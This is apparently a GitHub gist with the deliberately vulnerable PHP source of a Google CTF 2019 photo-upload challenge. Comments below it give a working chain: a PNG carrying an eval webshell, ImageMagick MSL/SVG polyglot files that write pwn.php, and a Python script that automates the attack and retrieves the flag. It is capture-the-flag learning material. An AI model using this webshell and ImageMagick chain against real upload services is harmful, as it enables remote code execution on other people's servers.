Skip to content

Instantly share code, notes, and snippets.

@neex
Created June 24, 2019 16:17
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save neex/67d5b47e6ac457edd44a52c772104158 to your computer and use it in GitHub Desktop.
<?php
// require_once('config.php'); NOTE: the line is commened by the writeup author. config.php is inlined below.
/* config.php START */
// XXE? Lame. Real hackers get RCE.
$secret = 'aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQ==';
/* config.php END */
error_reporting( E_ALL );
session_start();
// totally not copy&pasted from somewhere...
function get_size($file, $mime_type) {
if ($mime_type == "image/png"||$mime_type == "image/jpeg") {
$stats = getimagesize($file);
$width = $stats[0];
$height = $stats[1];
} else {
$xmlfile = file_get_contents($file);
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$svg = simplexml_import_dom($dom);
$attrs = $svg->attributes();
$width = (int) $attrs->width;
$height = (int) $attrs->height;
}
return [$width, $height];
}
function workdir() {
$d = 'upload/'.md5(session_id());
if (!is_dir($d))
mkdir($d);
return $d;
}
function list_photos() {
$d = 'upload/'.md5(session_id());
if (!is_dir($d)) return [];
$result = [];
foreach(glob("{$d}/*.*") as $f) {
if (strrpos($f, 'small') === FALSE)
$result[basename($f)] = $f;
}
return $result;
}
function upload() {
if (!isset($_FILES['photo']))
return;
$p = new PhotoUpload($_FILES['photo']['tmp_name']);
$p->thumbnail();
}
class PhotoUpload {
private $failed = false;
function __construct($path) {
$formats = [
"image/gif" => "gif",
"image/png" => "png",
"image/jpeg" => "jpg",
"image/svg+xml" => "svg",
// Uncomment when launching gVideoz
//"video/mp4" => "mp4",
];
$mime_type = mime_content_type($path);
if (!array_key_exists($mime_type, $formats)) {
die;
}
$size = get_size($path, $mime_type);
if ($size[0] * $size[1] > 65536) {
die;
}
$this->ext = $formats[$mime_type];
$this->name = hash_hmac('md5', uniqid(), $secret).".{$this->ext}";
move_uploaded_file($path, workdir()."/{$this->name}");
}
function thumbnail() {
exec(escapeshellcmd('convert '.workdir()."/{$this->name}".' -resize 128x128 '.workdir()."/{$this->name}_small.jpg"), $out, $ret);
if ($ret)
$this->failed = true;
}
function __destruct() {
if ($this->failed) {
shell_exec(escapeshellcmd('rm '.workdir()."/{$this->name}"));
}
}
}
if (isset($_GET['action'])) {
switch ($_GET['action']) {
case 'upload':
upload();
header('Location: ?');
die;
break;
case 'src':
show_source(__FILE__);
die;
default:
break;
}
}
?>
<html>
<head>
<title>gPhotoz</title>
</head>
<body>
<div>
<form action="?action=upload" method="POST" enctype="multipart/form-data">
<input type="file" name="photo"><input type="submit" value="Upload">
</form>
</div>
<div>
<?php foreach(list_photos() as $name => $path): ?>
<div>
<a href="<?=$path?>" alt="<?=$name?>"><img src="<?=$path.'_small.jpg'?>"></a>
</div>
<?php endforeach ?>
</div>
</body>
<a href="?action=src"></a>
</html>
@evandrix
Copy link

in your related writeup, the path should be "upload", not "uploads"

@evandrix
Copy link

i get HTTP 500 when trying to do step 4

@neex
Copy link
Author

neex commented Jun 25, 2019

in your related writeup, the path should be "upload", not "uploads"

Thanks, fixed!

i get HTTP 500 when trying to do step 4

HTTP status 500 on step 4 means that the php file has actually been copied, otherwise you would get 404 (correct me if I'm wrong). Check that png doesn't include <? somewhere inside the binary data. If it does, regenerate the png until it there's no <? anymore as it would break the PHP script.

@evandrix
Copy link

evandrix commented Jun 25, 2019

yeah, I think you're absolutely spot-on - that HTTP 404 means the file is not there, while HTTP 500 means some error occurred during execution

I tried a couple of things before leaving my original comment here - I thought it might be some restriction whereby you can't execute the php code other than from your designated "<hash>" folder (using the same notation in your writeup), I also tried to use the simpler ls shell/system payload i.e. hardcode without parameter, in case of some issue in the URL param; and the basic phpinfo() function, cleared my PHP session cookie etc. Then I thought maybe the Google authors disabled the code execution function so that the webshell fails, but that seems highly unlikely, since the earlier steps work, and the final step is executed on the same box anyway. haha when it doesn't work, I usually throw away all my assumptions, and think of any crazy excuse that make things somehow fail

I used the shell.png payload as described in your step 1, which contains <?, so I'm guessing you're asking me to look out for other stray <? marks in shell.png. maybe I'm using a different version of imagemagick on a different OS platform

i guess if all else fails, i could setup a local dev mirror of this gist to troubleshoot the issue

@neex
Copy link
Author

neex commented Jun 25, 2019

Hey,

I rechecked the post and found out that I forgot to include the ending ?> in my image generation command, so the image is invalid when parsed as php script.

The correct command should be:

convert -size 1x1 -comment '<?php eval($_GET["cmd"]); ?>'  rgba:/dev/urandom[0] png.image.png

Note that the comment ends with ?> now. Size doesn't matter here, so I changed it to 1x1.

BTW, the image is nothing more than a PHP script that is also a valid PNG. I'm sure you've seen something like this earlier. The command above is just a convenient way to generate such images.

You can check the image by "running" it locally.

If you supply invalid image to php, it will complain about syntax errors:

$ php shitty_image.png
PHP Parse error:  syntax error, unexpected ':' in /home/emil/googlectf2019/shitty_image.png on line 5

If you supply a valid image, it will output a bunch of binary data along with Undefined index: cmd message:

$ php good_image.png
PNG

IHDROgAMA
x*$tEXtcommentPHP Notice:  Undefined index: cmd in /home/emil/googlectf2019/good_image.png on line 5
8%tEXtdate:create2019-06-23T17:03:50+03:00ώ%tEXtdate:modify2019-06-23T17:03:50+03:00yw2IENDB`

@neex
Copy link
Author

neex commented Jun 25, 2019

You also might want to change shell_huihui.php to something else now, I'm not sure if the upload/ folder is cleared properly in the challenge and I don't know how imagemagick handles already existing files.

@evandrix
Copy link

evandrix commented Jun 25, 2019

Yes!! I realised you missed out the closing tag ?> - I tried to test the payload locally, by typing php shell.png in my console ... totally works now~ yay ... Thanks so much for your help; brilliant exploit, and awesome clear writeup 🌟

I got my payload to work, and was about to leave a comment here to say so, before I read your reply above.
I went to grab a 1x1 black png from http://png-pixel.com, then mogrify -set comment '<?php echo phpinfo(); ?>' step1-shell.png
step1-shell
step2-polymorph.svg

<?xml version="1.0" encoding="UTF-8"?>
<!-- <svg> -->
<image>
	<read filename="/var/www/html/upload/fc73d07d2a276fe7fff1a82013b14d38/22899e1574b0129d207fc236a71e788e.png" />
	<write filename="/var/www/html/upload/fc73d07d2a276fe7fff1a82013b14d38/pwn.php" />
	<svg width="120px" height="120px">
		<image href="/var/www/html/upload/fc73d07d2a276fe7fff1a82013b14d38/22899e1574b0129d207fc236a71e788e.png" />
	</svg>
</image>

step3.svg

<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
	<image width="120" height="120" href="msl:/var/www/html/upload/fc73d07d2a276fe7fff1a82013b14d38/9b14b2b773d35dfa1b13455744560ccb.svg" />
</svg>

@evandrix
Copy link

I'm trying to spend this week (and maybe next) following through all the writeups to learn, while the challenges are still up

@neex
Copy link
Author

neex commented Jun 25, 2019

Nicely done. Thanks for reading our writeup.

I think imagemagick still has a lot of bugs to find )

@evandrix
Copy link

evandrix commented Jun 25, 2019

Nicely done. Thanks for reading our writeup.

np

I think imagemagick still has a lot of bugs to find )

oh ok

@evandrix
Copy link

evandrix commented Jun 25, 2019

automated

#!/usr/bin/env python
#-*- coding: utf-8 -*-

import re
import io
import sys
sys.dont_write_bytecode = True
import base64
import subprocess
import requests
requests.packages.urllib3.disable_warnings()
from bs4 import BeautifulSoup

if __name__ == "__main__":
  # convert -size 1x1 -comment '<?php eval($_GET["cmd"]); ?>' "rgba:/dev/urandom[0]" shell.png
  # @ http://png-pixel.com
  the_png = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII="
  the_png = base64.b64decode(the_png)
  filepath = "1x1.png"
  with open(filepath,"wb") as f: f.write(the_png)
  print>>sys.stderr, "=>",filepath

  # @ https://stackoverflow.com/questions/44017632/imagemagick-adding-and-reading-comment#answer-44018387
  cmd = ["mogrify","-set","comment","\"<?php system('/get_flag') ?>\"",filepath]
  print>>sys.stderr, " ".join(cmd)
  proc = subprocess.Popen(cmd,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    # stdin=subprocess.PIPE,
    # stdout=subprocess.PIPE,stderr=subprocess.PIPE,
    # shell=True,close_fds=True)
  stdout,stderr = proc.communicate()
  if stderr: print>>sys.stderr, "err:",stderr
  if stdout: print stdout
  # proc.wait()
  # stderr = proc.stderr.read()
  # if stderr: print>>sys.stderr, "err:",stderr
  # stdout = proc.stdout.read()
  # print stdout

  # curl -XPOST -sL "http://gphotos.ctfcompetition.com:1337/?action=upload" -H "Cookie: PHPSESSID=..." -F "photo=@1x1.png"
  sess = requests.Session()
  baseuri = "http://gphotos.ctfcompetition.com:1337"
  resp = sess.get(baseuri)
  assert "Set-Cookie" in resp.headers
  hdr_cookie = resp.headers["Set-Cookie"]
  m = re.match(r"^PHPSESSID=([a-z0-9]{26})",hdr_cookie)
  if m:
    sess_id = m.group(1)
    print "PHPSESSID=%s"%sess_id
    hdr = {"Cookie":"PHPSESSID=%s"%sess_id}

    the_url = "%s/?action=upload"%baseuri
    files = {"photo":open(filepath,"rb")}
    # print>>sys.stderr, requests.Request("POST",the_url,files=files).prepare().body
    sess.post(the_url,headers=hdr,files=files,allow_redirects=False)

    resp = sess.get(baseuri,headers=hdr)
    html = resp.content
    soup = BeautifulSoup(html,"html.parser")
    # @ https://stackoverflow.com/questions/38028384/beautifulsoup-is-there-a-difference-between-find-and-select-python-3-x
    imgs = soup.select("a[alt] > img[src]")
    if imgs: # and len(imgs)==1:
      print>>sys.stderr, imgs
      upload = imgs[-1].parent["href"]
      m = re.match(r"^upload/([0-9a-f]{32})/([0-9a-f]{32})\.png",upload)
      if m:
        img_dir,img_basename = m.groups()
        print>>sys.stderr, img_dir,img_basename
        tpl = """<?xml version="1.0" encoding="UTF-8"?>
        <!-- <svg> -->
        <image>
          <read filename="/var/www/html/upload/{0}/{1}.png" />
          <write filename="/var/www/html/upload/{0}/pwn.php" />
          <svg width="120px" height="120px">
            <image href="/var/www/html/upload/{0}/{1}.png" />
          </svg>
        </image>""".format(img_dir,img_basename)
        print>>sys.stderr, tpl.replace("\t"," ")
        polymorph = io.BytesIO(tpl)

        the_url = "%s/?action=upload"%baseuri
        files = {"photo":polymorph}
        sess.post(the_url,headers=hdr,files=files,allow_redirects=False)

        resp = sess.get(baseuri,headers=hdr)
        html = resp.content
        soup = BeautifulSoup(html,"html.parser")
        # @ https://stackoverflow.com/questions/38028384/beautifulsoup-is-there-a-difference-between-find-and-select-python-3-x
        imgs = soup.select("a[alt] > img[src]")
        if imgs: # and len(imgs)==2:
          print>>sys.stderr, imgs
          upload = imgs[-1].parent["href"]
          m = re.match(r"^upload/([0-9a-f]{32})/([0-9a-f]{32})\.svg",upload)
          if m:
            img_dir,img_basename = m.groups()
            print>>sys.stderr, img_dir,img_basename
            tpl = """<?xml version="1.0" encoding="UTF-8"?>
            <svg width="120px" height="120px">
              <image width="120" height="120" href="msl:/var/www/html/upload/{0}/{1}.svg" />
            </svg>""".format(img_dir,img_basename)
            print>>sys.stderr, tpl.replace("\t"," ")
            step3 = io.BytesIO(tpl)

            the_url = "%s/?action=upload"%baseuri
            files = {"photo":step3}
            sess.post(the_url,headers=hdr,files=files,allow_redirects=False)

            # the_url = "%s/upload/%s/pwn.php?cmd=system(\"/get_flag\")"%(baseuri,img_dir)
            the_url = "%s/upload/%s/pwn.php"%(baseuri,img_dir)
            resp = sess.get(the_url,headers=hdr)
            print resp.content
            # CTF{8d62b2ffc578227e67ca8bab53420ded}
  sess.close()

@neex
Copy link
Author

neex commented Jun 25, 2019

Nice!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment